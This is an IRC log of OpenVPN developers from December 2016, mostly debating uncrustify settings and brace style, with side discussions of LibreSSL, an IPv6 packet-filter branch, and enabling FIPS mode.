defined(TARGET_DARWIN) || defined(TARGET_NETBSD) || defined(TARGET_OPENBSD) 17:00 <@dazo> +#if defined(_WIN32) \ 17:00 <@dazo> + || defined(TARGET_DARWIN) || defined(TARGET_NETBSD) \ 17:00 <@dazo> + || defined(TARGET_OPENBSD) 17:00 <@dazo> plaisthos: ^^^that's what uncrustify did with 837 17:01 <@dazo> I haven't checked with James, but it truly looks like GNU from what I've seen 17:02 <@plaisthos> I will check the openvpn 3 repo 17:04 <@plaisthos> yeah looks like GNU style just adapted to C++ 17:09 <@syzzer> plaisthos: yeah, I like "if () {" and "} else {" too, but we lost that vote :p 17:09 <@dazo> me too :) 17:10 <@syzzer> I particularly like "} else {" 17:10 <@dazo> I need to head home ... $kid woke up for second time and wife needs to sleep for tomorrow 17:11 <@syzzer> good night then 17:11 <@dazo> I might log on later ... but can't promise :) 17:11 <@syzzer> I need to get some sleep too actually... 17:11 <@dazo> latest attempt ... https://paste.fedoraproject.org/501328/14811518/ ... 17:12 <@dazo> and here's the config: https://paste.fedoraproject.org/501329/11518991/ 17:12 <@dazo> (tweaked gerts config somewhat, from the wiki) 17:14 <@plaisthos> I am not going to look 17:14 <@plaisthos> I need to get to bed 17:14 <@plaisthos> and not look at formatting C 19:24 <+krzee> hey maybe we should ship with libressl instead of openssl in windows and stuff? 19:24 <+krzee> its a drop-in replacement for openssl by the openbsd guys 19:26 < Thermi> please don't. It's not absolutely drop-in. There are and have been problems with strongSwan and libressl. 19:27 <+krzee> oh ok, do you have any examples? 19:27 < Thermi> I have started work on integrating support for tap-windows into strongSwan and rely on openvpn for installing usable openssl libs. 19:27 < Thermi> https://wiki.strongswan.org/issues/2165 19:27 <@vpnHelper> Title: Feature #2165: missing LIBRESSL_VERSION_NUMBER support - strongSwan (at wiki.strongswan.org) 19:27 <+krzee> somebody is trying to build my openvpn for my phones with libressl 20:09 < ordex> slypknot: still there ? 20:46 <+krzee> dude syzzer i think somebody solved my compiling problem 20:46 <+krzee> so far we have it working with old openssl, now hes compiling with new openssl 22:47 <+krzee> boom he got it! --- Day changed Thu Dec 08 2016 02:05 <@cron2> krzee: lucky man, and rich, too :-) 02:06 <+krzee> my partner earmarked a bunch of $ for me to take pre-split after i finish the migration as a bonus 02:07 <+krzee> its working with libressl 02:07 <@cron2> krzee: wrt libressl - it is lacking some of the more recent openssl functionality we use, but pretends to be "recent openssl!" so we had to add #if !defined(LIBRESSL) already 02:08 <@cron2> it is, but not because libressl is great, but because syzzer added a fix to our code base :-) 02:08 <+krzee> more because syzzer is great 02:08 <+krzee> haha 02:09 <@syzzer> uh, well, that was a trivial fix :p but libressl and openssl once were the same, but are bound to diverge 02:09 <@syzzer> since openssl is doing a lot of good work, libressl is doing too, but they have different views of the world 02:15 <+krzee> is there a page somewhere with an explanation of whats new in 2.4? i feel like i dont know half of whats now available 02:16 < danhunsaker> ALL THE FEATURES! 02:16 <+krzee> maybe i'll make a diff of the manpages even 02:16 <@cron2> krzee: Changes.rst 02:17 < danhunsaker> Pfft. Changelogs. 02:17 < danhunsaker> Commit history! 02:17 <+krzee> oh nice thanks 02:20 < danhunsaker> Any time. ;) 04:40 <@cron2> baah 04:40 <@cron2> plaisthos: our code still uses inet_ntoa in places... 04:55 < ordex> :S 05:43 <@plaisthos> cron2: leeme see 05:44 <@plaisthos> ret = openvpn_getaddrinfo(GETADDR_PASSIVE, inet_ntoa(ia), NULL, 0, NULL, 05:44 <@plaisthos> AF_INET, &man->settings.local); 05:44 <@plaisthos> that line is an incredible gem :) 05:44 <@plaisthos> use old api to put it into the new api 05:45 <@plaisthos> that is actually my "new" code 05:46 <@plaisthos> Oh I vaguely remember 05:47 <@plaisthos> that is a workaround since the rest of the code really wants to use a in_addr 06:01 < slypknot> ordex: ? 06:02 < ordex> slypknot: ! 06:02 < slypknot> hi 06:03 < slypknot> I'll send my config via email but it is very very simple 06:03 < slypknot> as far as I can tell (linux and windows) as soon as I use an ipv6 subnet in the pf file the whole thing just breaks 06:04 < ordex> slypknot: would you mind sending me the whole log after enabling verb 7 then ? 06:04 < slypknot> I am using your ordex repo on git 06:04 < slypknot> sure 06:04 < ordex> thanks! 06:06 < slypknot> This is the openvpn version btw: OpenVPN 2.4_alpha1-ordex [git:master/a47d34920a4e6e52+] x86_64-unknown-linux-gnu [SSL (OpenS 06:06 < slypknot> SL)] [LZO] [LZ4] [EPOLL] [MH/PKTINFO] [IPv6] built on Dec 5 2016 06:06 < slypknot> y 06:06 < ordex> slypknot: master branch ? 06:06 < ordex> the branch should ipv6pf 06:06 < slypknot> I inserted the "ordex" bit into version.m4 to be sure I had the right binary 06:08 < slypknot> https://github.com/ordex/openvpn/tree/ipv6pf 06:08 <@vpnHelper> Title: GitHub - ordex/openvpn at ipv6pf (at github.com) 06:09 < ordex> yup that is ipv6pf branch 06:09 < ordex> but after cloning you are in master, then you have to do: git checkout ipv6pf 06:09 < ordex> to switch to the right branch 06:09 < slypknot> also, i remade the pf.so usiing the right include/openvpn-plugin.h not src/plugin.h 06:09 < slypknot> ahh 06:10 < slypknot> sorry my git foo is not very good yet 06:10 < ordex> no problem - sorry for not saying that explicitly 06:10 < slypknot> I'll try that now 06:10 < ordex> thanks:) 06:10 < slypknot> no prob 06:10 < slypknot> it is 8pm for you now ? 06:15 < slypknot> Branch ipv6pf set up to track remote branch ipv6pf from origin. 06:15 < slypknot> Switched to a new branch 'ipv6pf' 06:16 < slypknot> sfsg 06:17 < ordex> it should be ok npow 06:17 < ordex> if you do git log 06:17 < ordex> you should see my commits 06:17 < ordex> and yeah, it's 8pm :) 06:17 < ordex> having a pizza now :D 06:21 < slypknot> OpenVPN 2.4_rc1+ordex_ipv6pf [git:ipv6pf/b6122b10dcd970c1+] x86_64-unknown-linux-gnu [SSL (OpenSSL)] [LZO] [LZ4] [EPOLL] [MH/PKTINFO] [AEAD] built on Dec 8 2016 06:21 < slypknot> good we have some time together 06:22 < ordex> slypknot: :D right 06:22 < ordex> yes, this is the right commit id 06:22 < slypknot> 10144 Dec 8 12:12 ordex_pf.so 06:22 < ordex> git:ipv6pf/b6122b10dcd970c1+ << this matches the commit you compiled. if you do git log, you will see that it matches the last on top 06:23 < slypknot> built with the right include :) 06:23 < ordex> cool :) 06:23 < ordex> btw I am implementing a change to get rid of the .so thing 06:24 < slypknot> cool :)) 06:24 < ordex> slypknot: what time zone are you in ? 06:24 < ordex> if I can ask :p 06:24 < slypknot> GMT 12 noon 06:24 < ordex> oh ok 06:24 < slypknot> in your eyes .. the distant past 06:25 < ordex> :D 06:25 < ordex> could be worse ;P 06:35 < slypknot> is /tmp/openvpn_pf_* hard coded ? 06:36 < ordex> not sure about that 06:37 < ordex> I should check 06:37 < slypknot> --tmp-dir ! 06:37 < ordex> I am aiming to do a ccd like command 06:37 < slypknot> lol 06:37 < slypknot> my mistake :) 06:37 < ordex> where you have packet-filter-dir <something> and then you have to create <something>/<client_name> files 06:37 < ordex> ah :D 06:39 < slypknot> almost there 06:40 < ordex> sure 06:42 < slypknot> bash is great but I'm not so ;) 06:42 < ordex> eheh 06:43 < ordex> bash is absolutely great ! 06:47 <@cron2> bash stinks 06:49 < slypknot> stuff u 06:50 < slypknot> cron2: push "route-ipv6 12fc:1918::10:28:38:249" defaults to /64 06:50 < slypknot> non std 06:50 <@cron2> what do you mean by "non std"? I'm fairly sure it's documented 06:51 < slypknot> yeah .. but everything else defults to host if not specd 06:51 <@cron2> "everything else" is IPv4, I assume 06:52 < slypknot> also ordex' pf code ;) 06:52 < slypknot> ipv6 06:53 < ordex> right 06:53 < ordex> but I am not sure my code is "standard" :D 06:53 < ordex> that behaviour could be adjusted, but since it's a filtering rule, I preferred to behave like iptables, which I believe defaults to /128 06:53 < ordex> "I believe" 06:54 < slypknot> OK! everything works prepoerly now :) 06:54 < slypknot> properly* 06:54 <@cron2> we can change the defaults for route-ipv6 after 2.4, but *for* 2.4 it's too late (it#s been that way since the first ipv6 patches for 2.2...) 06:55 < slypknot> I just forgot it defs to /64 .. and as you were reading ;) 06:55 < slypknot> ordex: it all passes my tests 06:55 < ordex> cool :) 06:55 < ordex> so it was a git problem so far :D ehehe 06:55 < slypknot> I'll build this for windows and see what happens 06:56 < ordex> now a windows test would be great 06:56 < ordex> yeah ! 06:56 < ordex> thanks :) 06:56 < slypknot> yeah .. it was my git foo let us down 06:57 < ordex> eheh, np 06:58 < slypknot> i godda go do some chores for now but I'll try to get this done before 12 midnight your time and let you know 06:58 < slypknot> cioa 4 now :) 06:58 < slypknot> ciao 06:59 < ordex> ciao :) 08:46 < DarcyB> I sent a an idea to the mailing list a couple weeks back about being able to modify the iroutes dynamiclay for a given connection via the management interface, has there been any thought given to how to implement this (Or at the very leaset a pointer on where I should look to implement ? 08:57 < ordex> slypknot: do you see any real reason to use the "+" when listing a client or subnet ? isn't the same as not listing the client/subnet at all ? 09:22 < slypknot> ordex: +/- reuired as per DROP/ACCEPT .. so yes it's still need depening on how admin implements filter 09:23 < ordex> slypknot: mh...but if policy is ACCEPT, any entry starting with '+' will be treated as ACCEPT, thus not listing it would just be the same effect, no ? 09:23 < ordex> same when you have DROP as policy: lines with - are treated like the default case, no ? 09:25 < ordex> anyway, this is a topic for later :) 09:48 < ordex> slypknot: FYI, my branch now contains another patch which removes the need for a plugin. PF will now work similarly to ccd. It now requires an option called --packet-filter-dir 09:48 < ordex> this patch also simplifies the syntax of the file as it does not require the '+' and '-' anymore. still the old syntax is perfectly compatible 09:48 <@cron2> syzzer: what is needed to use one of the more exotic ciphers for --cipher, like chacha20 or whatever that newfangled stuff is called? 09:49 < ordex> if you want this change, you have to "pull", otherwise you will just stick to the previous version ;) 10:04 < Art_> Hi guys! 10:05 < ordex> hi! 10:09 < slypknot> ordex: your new version sounds good .. I will pull etc .. for some reason using the plugin did not work right on windows, probably something i did wrong 10:09 < ordex> mh 10:09 < ordex> ok 10:09 < slypknot> have not had much time to concentrate on it 10:09 < ordex> then you may really want to try the plugin-free version :) 10:09 < ordex> np 10:09 < slypknot> i surely do ;) 10:10 < ordex> I extended the man to explain a bit how it works, but basically now you need to create a folder and specify it with --packet-ilter-dir 10:10 < slypknot> sure thing .. i got it already in my mind :) 10:10 < ordex> then in this folder you can create a file having the CN of the client as name 10:10 < ordex> cool ;) 10:10 < slypknot> yep and then the rules 10:10 < ordex> right 10:11 < slypknot> and no need for +/- 10:11 < ordex> the connect-script is also not needed anymore 10:11 < ordex> also that 10:11 < ordex> but that is optional. the old format is still parsable 10:11 < slypknot> ahh .. cool no more connect .. the file will copy to temp or be used in place like --ccd 10:11 < slypknot> ? 10:12 < ordex> used in place 10:12 < slypknot> excellent :) 10:12 < ordex> :) 10:12 * slypknot gets on with it ! 10:12 < ordex> yuppie1 10:12 < ordex> ! 10:13 < ordex> latest commit now is e2488f2905503556975377a752858926db01f58b 10:17 < Art_> I'm interested in enabling fips mode in openvpn. I used the patch from here https://bugzilla.redhat.com/show_bug.cgi?id=1369260 (changed it slightly). Then I used it to build openvnp, in order to enable fips mode I explicitly called FIPS_mode_set() function. And it seems to work just fine with any vpn clients. I didn't set fips mode system wide passing fips=1 parameter to the kernel.Although in the ticket here https://community.openvpn.net/openvpn/ticke 10:17 < Art_> t/725 it says, it won't work with vpn clients where fips mode is not enabled. But it does. 10:17 <@vpnHelper> Title: Bug 1369260 OpenVPN crashes in FIPS mode (at bugzilla.redhat.com) 10:23 < Art_> I called FIPS_mode_set() inside openvpn code, of course. I'm not sure if I stated my problem clear enough. But the reason, why I'm writing and asking for advice basically is because in the ticket it says "it won't work" with non fips enabled clients, a guy in the mailing list says the same, but I build it and it works. So I'm quite confused 10:24 < Art_> maybe someone worked on this ticket/problem before? 10:26 < ordex> slypknot: let me know if you need help with git. so i can help before fading away :) 10:29 < slypknot> ordex: get some rest .. I'll email you my findings :) 10:31 < Art_> guys, if anyone has anything useful to say on my problem, please feel free to send me an email (boxartst@yandex.ru). I don't know why it keeps disconnecting me. 10:31 <@cron2> Art_: if it works, you're not FIPS compliant 10:31 < ordex> slypknot: thanks ! 10:31 <@cron2> our key generation needs MD5, which is not allowed per FIPS specs 10:31 <@cron2> (and if you change that, "normal" clients cannot connect) 10:32 < Art_> The patch I mentioned seem to change md5 to sha1 10:33 < Art_> okay, but I call FIPS_mode_set() inside the code and add a check FIPS_mode(), it sets the program in fips mode and prints a message 10:34 < Art_> is it not enough to say that openvpn is running in fips mode? 10:34 <@cron2> if you use sha1 mode for the PRF, your non-fips-clients will NOT be able to talk to you, because they do not know that 10:34 <@cron2> this is the point syzzer was making 10:35 <@cron2> changed-openvpn to changed-openvpn might be FIPS compliant, but it will speak an incompatible wire protocol to "stock openvpn" 10:35 < Art_> stock openvpn? what do you mean? 10:36 <@cron2> what could I mean by that. "OpenVPN as shipped by us, without patches" 10:37 <@cron2> in other words: that patch will make openvpn incompatible to not-patched openvpn 10:37 < Art_> I see 10:38 < Art_> as strange as it might seem, but I build openvpn this way, and I can ssh and ping hosts behind my vpn server. 10:39 < Art_> and I don't recompile my openvpn client for that 10:41 < ordex> Art_: "hosts behind my vpn server": are they running openvpn client as well ? 10:41 < ordex> :D I wanted to be helpful 10:43 < Art_> also I don't see the reason why built by me server would not be functioning in fips mode. I explicitly call fips_mode_set() in main function in openvpc.c, I also do the check fips_mode() to print a message of whether or not it was successful 10:44 < ordex> lol 10:44 < slypknot> byee 10:44 < slypknot> :) 10:45 < slypknot> using '-' and '+' in a packet filter file is deprecated. Lines starting with '+' are ignored. Other entries will be treated as '-' by default 10:46 < slypknot> almost there :) 10:46 <@d12fk> cron2: was looking at your patch about making redirect-gateway ipv6 capable 10:46 <@d12fk> could you explain https://github.com/OpenVPN/openvpn/blob/d227929b5db049ca6efbef9fb7d84be5e545b41d/src/openvpn/init.c#L1202 10:46 <@vpnHelper> Title: openvpn/init.c at d227929b5db049ca6efbef9fb7d84be5e545b41d · OpenVPN/openvpn · GitHub (at github.com) 10:46 <@d12fk> the list of networks i do not understand 10:46 <@d12fk> could you point we to the explanation 10:46 <@d12fk> *me 10:47 < ordex> slypknot: that message is just informative - it will still work :) 10:47 < ordex> (I think :D) 11:41 <@d12fk> cron2: never mind found exactly this discussion between you and plaisthos on the mailing list. thanks gmane 12:04 <@dazo> krzee: it would make a lot more sense on embedded devices to go for mbedTLS ... really, that is much slimmer and saner approach for that kind of devices 12:28 <@syzzer> cron2: the patch from RH will actually work with "stock openvpn" because FIPS does allow MD5 for use in a PRF, which is the only place where we *require* MD5 12:30 <@syzzer> (but this Art guy is gone already...) 12:33 <+krzee> dazo: thats what i said, but hes all about libressl and he got it working... good enough for me 12:35 <@dazo> krzee: hmmm ... well, I fear you'll regret that in a longer run ... libressl have had several issues, and I'm not convinced they'll be able to keep up the development over a longer period of time 12:36 <+krzee> well im getting the build environment up locally 12:36 <+krzee> if the libre version worked im better we could get mbed working too 12:36 <+krzee> but he fulfilled the bounty, so for now its time to pay the man :D 12:36 <@dazo> :) 12:37 <+krzee> he emulated the phone using qemu, so its good for me to test dev stuff too 12:37 <@dazo> that's nice! 12:37 <+krzee> like when i mod the rc script and hope i dont brick the phone 12:56 < Art_> sorry guys, I had to go. Where we left off with the discussion on enabling fips mode? 12:59 < Art_> I call FIPS_mode_set() function inside openvpn code, it gives me no errors, fips_mode() check would return non-zero value, which means fips mode is enabled. And I can connect to openvpn server with my regular openvpn client. Does it not mean that openvpn is working in fips mode? 13:00 <@dazo> Art_: I believe you really need to configure the system to be FIPS compliant as well, in addition to FIPS_mode_set() ... because FIPS mode should not be possible to be disabled at runtime 13:00 <@dazo> Art_: hence my pointer at the RHEL documentation enabling FIPS mode 13:01 <@dazo> Art_: when it comes to SSH ... they do the crypto layer stuff very different from OpenVPN ... and OpenVPN also does the crytpo layer different from, say Firefox 13:01 <@dazo> Art_: So why it works on SSH ... can be due to the fact that they do some negotiations on-the-fly, or that your system isn't FIPS enabled, thus MD5 and other FIPS disallowed algorithms are still present 13:04 <@dazo> In regards to make this work with OpenVPN ... In the trac comment, I drafted some generic thoughts on FIPS support. By default, OpenVPN should be capable of supporting both MD5 and SHA algorithms. FIPS only removes MD5 and other weaker crypto algorithms (I am not comparing hashing and crypto algorithms, I just remember MD5 is deprecated in FIPS) 13:09 < Art_> so you point is, that if I really want to fips enabled openvpn I should enable fips mode system wide required providing parameter to the kernel 13:11 < Art_> another question than arises, what if I don't use RHEL, I don't see a way to enable fips mode on ubuntu for example. So the only way to do that is to enable fips mode on the application level and that's what the user guide saya 13:12 <@dazo> Art_: I believe that is because Ubuntu isn't FIPS certified 13:13 <@dazo> it might be that you can use some similar approaches as the RHEL guidance (adopted to Ubuntu), but that won't fully be considered FIPS certified 13:13 < Art_> okay 13:16 < Art_> just in this case, I don't need a fips enabled system. I need only openvpn. And I believe that my approach is right, because I follow the steps described in the user guide here https://www.openssl.org/docs/fips/UserGuide-2.0.pdf on how to enable fips mode inside an application 13:17 <@syzzer> Art_: the thing is, FIPS is to get some stamp 13:17 <@syzzer> if you want the stamp, *everything* should be FIPS 13:17 <@syzzer> if don't want the stamp, you don't need FIPS mode 13:18 < Art_> I see 13:19 < Art_> it's a really strange task that was given to me to enable fips mode for openvpn only 13:19 <@syzzer> yes, it is 13:19 < Art_> okay, guys, thank you very much for you help. 13:20 < Art_> I got the answers to most of my questions 13:20 <@syzzer> but as I said on the mailing list, the patch from the RH bugtracker is a step in the right direction for openvpn in fips mode 13:20 < Art_> yes, it is indeed 13:20 <@syzzer> it's just worthless if the rest of your system isn't FIPS too :) 13:20 < Art_> I believe so 13:33 <@syzzer> dazo: did you end up with a good uncrustify config? 13:34 <@dazo> Oh, I'm picking up on that right now actually ... when I arrived yesterday, our daughter had woken up and didn't calm down before 2am 13:34 <@dazo> arrived home 13:38 <@dazo> syzzer: did you see my latest attempt? 13:39 <@dazo> https://paste.fedoraproject.org/501328/14811518/ 13:40 <@dazo> I haven't yet found the magic option to align argument names in function declarations ... and I'm looking for the proper option to add a blank line after prototype declarations (at least considering that) 13:41 <@syzzer> dazo: what do you mean by 'align argument names in function declarations?' 13:41 <@syzzer> looking at the paste now, starting to look good :) 13:43 <@dazo> char *blabla 13:43 <@dazo> struct foofoo *barbar 13:43 <@dazo> to align *blabla and barbar 13:43 <@syzzer> hm, do you want that? 13:44 <@dazo> If I understood plaisthos right, he suggested that 13:44 <@syzzer> oh, I didn't get that. and I don't like it, because it means an annoyingly amount of editing each time I add a variable with a longer type 13:45 <@dazo> good point! 13:45 * dazo ignores that :) 13:45 <@syzzer> \o/ 13:46 <@syzzer> the current example seems to be doing something like that for all declared variable though 13:47 <@dazo> ahh, that might be one of configuration attempts 13:47 <@dazo> I'll remove that 13:51 <@dazo> I'm torn on the 688-706 though 13:51 <@dazo> having 2-3 macros per line would be more ideal, imo 13:56 <@syzzer> but isn't that just because it doesn't touch it/ 13:56 <@syzzer> yeah, it's because it was that way 13:57 <@syzzer> I personally prefer 'just wrap function arguments with some indent', like in the example on CodeStyle 13:58 <@syzzer> but there might be places where that's less pretty that aligning 13:59 <@dazo> that's right ... just noticed it now :) 13:59 <@dazo> there are so many changes, it too easy to forget the origins 14:10 <@dazo> okay ... I believe this is my final attempt ... https://paste.fedoraproject.org/501979/12273541/ 14:19 <@syzzer> dazo: what about 280-292 14:19 <@syzzer> the newlines look weird 14:19 * dazo looks 14:19 <@syzzer> or maybe that already was the case too... 14:19 <@syzzer> nope, that's new 14:20 <@dazo> nope, I believe thats the 'space before return' 14:20 <@dazo> hmmm 14:20 <@dazo> s/space/newline/ 14:22 * syzzer just sent a bugfix to pkcs11-helper, while attemping to fix something different for openvpn... 14:23 <@dazo> :) 14:25 <@dazo> okay, I switched nl_before_return with nl_before_case :) .... https://paste.fedoraproject.org/501988/48122822/ 14:26 <@dazo> I'm really not too happy about these ones .... 14:26 <@dazo> } 14:26 <@dazo> else 14:26 <@dazo> { 14:26 <@dazo> } 14:26 <@dazo> else { 14:26 <@dazo> would probably be slightly better (those two last lines) 14:27 <@syzzer> in that case I would say } else { 14:27 <@dazo> I tried } else { ... but that impacted 'if else' too 14:27 <@syzzer> if we're not aligning anyway... 14:27 <@dazo> 'else if' 14:27 <@dazo> nope, alignment (spacing) stays 14:28 <@syzzer> I mean aligning { with } 14:28 <@dazo> oh! I found something now 14:28 <@dazo> if (addr.family == AF_INET) 14:28 <@dazo> { 14:28 <@dazo> addr.address.ipv4.s_addr = tt->local; 14:28 <@dazo> addr.prefix_len = 32; 14:28 <@dazo> } 14:28 <@dazo> else { 14:28 <@dazo> addr.address.ipv6 = tt->local_ipv6; 14:28 <@dazo> addr.prefix_len = tt->netbits_ipv6; 14:28 <@dazo> } 14:29 <@dazo> if (is_dev_type (dev, dev_type, "tun")) 14:29 <@dazo> { 14:29 <@dazo> return DEV_TYPE_TUN; 14:29 <@dazo> } 14:29 <@dazo> else if (is_dev_type (dev, dev_type, "tap")) 14:29 <@dazo> { 14:29 <@dazo> return DEV_TYPE_TAP; 14:29 <@dazo> } 14:29 <@dazo> else if (is_dev_type (dev, dev_type, "null")) 14:29 <@dazo> { 14:29 <@dazo> return DEV_TYPE_NULL; 14:29 <@dazo> } 14:29 <@dazo> else { 14:29 <@dazo> return DEV_TYPE_UNDEF; 14:29 <@dazo> } 14:29 <@syzzer> hm, I really think we should remove the newline between "} else" in that case too 14:30 <@dazo> I'll try 14:30 <@plaisthos> hm else { and else if { should be consistent :) 14:30 <@syzzer> so either "} else if (a) {" or " 14:30 <@syzzer> } 14:30 <@syzzer> else if (a) 14:30 <@syzzer> {" 14:31 <@plaisthos> what syzzer says 14:31 <@dazo> that gives odd results to 'else if' 14:31 <@dazo> if (is_dev_type (dev, dev_type, "tun")) 14:31 <@dazo> { 14:31 <@dazo> return DEV_TYPE_TUN; 14:31 <@dazo> } else if (is_dev_type (dev, dev_type, "tap")) 14:31 <@dazo> { 14:31 <@dazo> return DEV_TYPE_TAP; 14:31 <@dazo> } else if (is_dev_type (dev, dev_type, "null")) 14:31 <@dazo> { 14:31 <@dazo> return DEV_TYPE_NULL; 14:31 <@dazo> } else { 14:31 <@dazo> return DEV_TYPE_UNDEF; 14:31 <@dazo> } 14:31 <@syzzer> so uncrustify is actually *missing* an option? :p 14:32 <@dazo> yes :) 14:32 <@dazo> nl_if_brace=add 14:32 <@dazo> nl_brace_else=remove 14:32 <@dazo> nl_elseif_brace=add 14:32 <@dazo> nl_else_brace=remove 14:32 <@dazo> nl_else_if=remove 14:32 <@dazo> that's what we have now with the last attempt 14:32 <@syzzer> well, tbh, it kind of makes sense to not diffentiate between "if () {" and "else if () {" 14:33 <@dazo> yeah 14:33 <@syzzer> but wouldn't changing nl_elseif_brace=add to remove fix this oddity? 14:34 <@dazo> let me test 14:34 <@dazo> if (is_dev_type (dev, dev_type, "tun")) 14:34 <@dazo> { 14:34 <@dazo> return DEV_TYPE_TUN; 14:34 <@dazo> } else if (is_dev_type (dev, dev_type, "tap")) { 14:34 <@dazo> return DEV_TYPE_TAP; 14:34 <@dazo> } else if (is_dev_type (dev, dev_type, "null")) { 14:34 <@dazo> return DEV_TYPE_NULL; 14:34 <@dazo> } else { 14:34 <@dazo> return DEV_TYPE_UNDEF; 14:35 <@dazo> } 14:35 <@dazo> I have to admit I like that one more 14:36 <@syzzer> I can live with this one, though it still looks slightly odd :p 14:36 <@dazo> yeah, me too :) 14:37 <@dazo> so I'll dump the latest tun.c reformatting for review 14:39 <@syzzer> heh, that was fast: https://github.com/OpenSC/pkcs11-helper/pull/9 14:39 <@vpnHelper> Title: Fix __pkcs11_crypto_mbedtls_cerificate_is_issuer() by syzzer · Pull Request #9 · OpenSC/pkcs11-helper · GitHub (at github.com) 14:41 <@dazo> https://paste.fedoraproject.org/501999/81229253/ 14:42 <@dazo> that's truly quick 14:43 <@syzzer> thanks for all the fiddling with uncrustify, dazo! 14:44 <@dazo> oh, that's only a pleasure! I'm happy I could play along with you on this :) 14:44 <@dazo> so easy to overlook details, so happy for all the help 14:45 <@syzzer> we probably need a final vote on the braces 14:45 <@dazo> lets try to run the same on ssl.c :) 14:46 <@dazo> ouch ..... 14:47 <@syzzer> I still prefer K&R, but am torn between this mixed style and 'true' allman for second place 14:47 <@syzzer> uh-oh... 14:47 <@dazo> ssl.c:1 Wrong number of arguments: /*... 14:47 <@dazo> ssl.c:2 Unknown symbol '*' 14:47 <@dazo> ssl.c:3 Unknown symbol '*' 14:47 <@dazo> ssl.c:4 Unknown symbol '*' 14:47 <@dazo> ssl.c:5 Unknown symbol '*' 14:47 <@dazo> ssl.c:6 Unknown symbol '*' 14:47 <@dazo> ssl.c:7 Wrong number of arguments: *... 14:47 <@dazo> and so it continues on all lines 14:47 <@syzzer> uh, wut? 14:47 <@dazo> duh! my copy-paste failed 14:47 <@dazo> of command line 14:48 <@syzzer> ah, good :p 14:48 <@dazo> it tried to parse ssl.c as uncrustify config 14:48 <@syzzer> hehe 14:49 <@dazo> https://paste.fedoraproject.org/502010/22971814/ 14:50 <@dazo> line 99-100 is not pretty ... but that's our 80 chars limit 14:51 <@syzzer> is the indenting of # if on purpose ? 14:51 <@syzzer> line 425 14:51 * dazo looks 14:52 <@syzzer> yeah, stuff like 99-100 probably needs to be exempt of this limit, but fixed up by hand afterwards 14:52 <@syzzer> just like sligthly-too-long log msgs 14:52 <@dazo> line 425 is not touched 14:52 <@syzzer> ah, that's the bold/not bold 14:52 <@syzzer> on, no, that's just even/odd 14:54 <@syzzer> maybe add pp_space=Remove ? 14:55 <@dazo> yeah, can try that 14:55 <@syzzer> we mostly don't indent preprocesor statements between # and statement 14:56 <@dazo> that works 14:56 <@dazo> agreed 14:57 <@dazo> these changes does impress me 14:57 <@dazo> - else /* last one */ 14:57 <@dazo> - { 14:57 <@dazo> + } else { /* last one */ 14:58 <@syzzer> yeah, quite cool 15:00 <@dazo> so here's the latest config ... https://paste.fedoraproject.org/502014/14812303/raw/ 15:00 <@syzzer> very good. we need to get consensus on the braces (hell, I need to get internal consensus :p ), but otherwise I think we're good to go :) 15:01 <@dazo> :) 15:01 <@dazo> I think our branches approach is a reasonable middle ground ... it makes the flow quite obvious and clean 15:02 <@dazo> so I hope it can be accepted :) 15:02 <@dazo> I'll send the config to the ML now and we'll see 15:03 <@syzzer> I'm more and more leaning towards 'just do K&R or Allman' again, if it were only because that's the styles people recognize 15:03 <@syzzer> need to sleep a bit on that 15:03 <@dazo> yeah, I can agree to that actually 15:04 <@dazo> IIRC, the Allmann style had a slight preference in our voting over K&R though (basically nobody wanted GNU, iirc) 15:05 <@syzzer> yeah, I recall that too 15:05 <@syzzer> well, I could live with either just fine 15:06 <@dazo> Well, I have heard of people running "uncrustify" to modify code to their liking before editing, and then "uncrustify" with the "check-in/commit" style .... not sure that's a clever thing though :) 15:08 <@cron2> uh, we *had* consensus on the braces, so don't re-open that can of worms - and it was "braces get their own line, no exception" 15:08 <@cron2> if you start argueing that, I'll re-open the tab-vs-spaces discussion 15:10 <@cron2> (the "CodingStyle" page is very clear on braces on-their-own-line) 15:12 <@syzzer> cron2: well, the CodingStyle page explicitly notes "Open question: do we allow } else { and } else if () { as exceptions?" 15:13 <@cron2> we discussed that yesterday, and the answer was "no" :-) 15:13 <@syzzer> oh, I must have missed that 15:14 <@cron2> it was a LARGE bikeshed, with many colours 15:14 <@cron2> but the code snippets that you had just look ugly - crammed tightly, ugly, and not in line with the rest of the style 15:15 <@syzzer> hehe, it was. but at least we now have a deadline, so we get through it once, and be done with it 15:19 <@syzzer> cron2: those where discussed yesterday only by you it seems :p dazo was using the "} else {" to illustrate a different choice (just looking back through the meeting logs, because I couldn't recall the discussion) 15:19 <@cron2> mmmh, I thought we had that covered 15:19 <@syzzer> but I appreciate the "we decided this, don't reopen the discussion" argument 15:19 <@cron2> anyway... "over my dead body" 15:20 <@cron2> } else { with lots of single-line things crammed in between is more ugly than what we have today 15:21 <@syzzer> I disagree, but as said, I do appreciate that we decided on this in Munich, so Allman it is then 15:23 <@cron2> well, this we indeed did :) 15:23 <@cron2> (agree on Allman in Munich, with spaces, which I conveniently forgot) 15:23 <@dazo> I have to say cron2, I am quite provoked that you come up with such an ultimatum on open questions ... that is completely unnecessary 15:24 <@cron2> dazo: you're the one that reminded me on the tab-vs.-spaces decision in Munich... 15:24 <@cron2> and "Allman style" is part of that package 15:24 <@dazo> but there was a consensus on that in Munch 15:24 <@dazo> well, the CodeStyle wiki opens the question 15:25 <@dazo> I am just relating to what is documented 15:25 <@dazo> not inventing my own new ideas 15:25 <@cron2> it does, but that question is actually already settled by deciding on Allman style 15:25 <@dazo> that is an interpretation ... especially when the question is opened up 15:26 <@cron2> so shall I put the question "what about tabs?" into the CodingStyle page and consider that question to be open as well? 15:29 <@dazo> https://community.openvpn.net/openvpn/wiki/CodeStyle?version=1 ... that is the earliest mentioning of the braces (from 3 weeks ago) ... so this isn't exactly a new topic 15:29 <@vpnHelper> Title: CodeStyle – OpenVPN Community (at community.openvpn.net) 15:30 <@dazo> feel free to open up the tab-vs-spaces issue ... but *there* we did have a consensus on the Munich 2014 hackathon, which leaves no open questions 15:30 <@syzzer> dazo: yes, so this indeed is my fault. and in retrospect, I shouldn't have put it there. 15:30 <@plaisthos> for argument for { on sperate line was that you only whitespace changes to the current GNU style 15:31 <@dazo> syzzer: it's not your fault ... if that have been allowed to stay there not to have caused any discussions for 3 weeks ... and then suddenly cause such a reaction 15:31 <@syzzer> wow, plaisthos actually remembers 15:32 * cron2 was busy fixing bugs that other people ACKed-in and did not pay too much attention to topics I believed settled, sorry for that 15:33 <@syzzer> well, the reaction is a bit harsh, but hey, this feat of cron2 occasionally comes in handy when there's annoying people on the mailing list ;) 15:34 <@dazo> :) 15:36 <@cron2> (and I should point out that I *did* mention that "the braces are all wrong" on dazo's example in IRC 